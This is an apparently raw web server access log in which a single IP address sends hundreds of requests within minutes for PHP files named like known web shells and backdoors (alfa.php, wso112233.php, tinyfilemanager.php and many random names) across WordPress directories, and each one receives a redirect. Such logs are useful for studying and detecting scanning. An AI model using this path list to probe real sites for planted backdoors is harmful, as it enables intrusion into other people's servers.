/wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:09 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:11 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:15 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:18 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:20 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:21 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:24 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:27 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:29 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:32 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:34 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:35 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:37 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:39 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:40 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:41 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:42 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:44 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:45 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:46 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:47 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:48 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:49 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:50 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:51 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:52 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:54 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:57 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:51:58 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:02 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:04 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:10 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:14 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:15 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:18 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:22 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:26 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:32 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:37 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:40 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:42 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:43 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:45 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:47 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:49 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:50 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:51 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:53 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:55 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:58 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:52:59 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:01 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:03 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:05 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:06 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:08 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:10 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:12 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:14 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:18 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:22 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:25 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:27 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:30 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:31 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:33 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:35 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:36 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:38 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:40 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:42 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:44 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:45 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:47 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:49 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:51 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:54 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:53:57 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:02 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:06 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:10 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:13 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:16 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:18 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:22 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:24 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:27 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:30 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:32 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:33 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:35 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:36 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:39 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:41 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:44 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:46 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:48 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:50 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:51 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:52 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:54 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:55 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:56 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:54:58 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:00 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:07 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:15 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:20 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:23 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:25 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:27 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:29 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:31 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:32 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:32 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:33 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:34 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:34 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:35 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:37 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:37 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:39 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:43 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:46 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:49 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:50 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:52 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:53 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:54 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:56 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:57 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:55:59 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:01 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:04 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:06 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:09 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:10 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:12 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:15 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:18 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:21 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:25 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:27 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:28 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:30 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:30 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:32 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:33 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:34 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:35 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:38 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:39 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:41 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:43 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:47 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:48 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:49 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:51 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:52 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:53 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:54 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:55 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:56 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:57 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:56:58 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:00 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:00 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:02 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:04 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:05 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:08 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:11 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:13 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:16 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:19 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:23 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:26 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:27 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:29 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:32 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:34 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:35 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:37 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:37 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:38 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:39 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:40 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:41 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:42 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:43 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:44 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:46 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:47 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:48 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:49 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:50 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:51 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:51 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:52 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:53 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:54 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:56 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:58 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:57:59 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:00 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:01 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:01 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:02 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:03 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:04 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:05 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:06 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:07 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:08 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:10 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:11 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:13 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 52.164.245.231 - - [24/Apr/2025:02:58:13 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 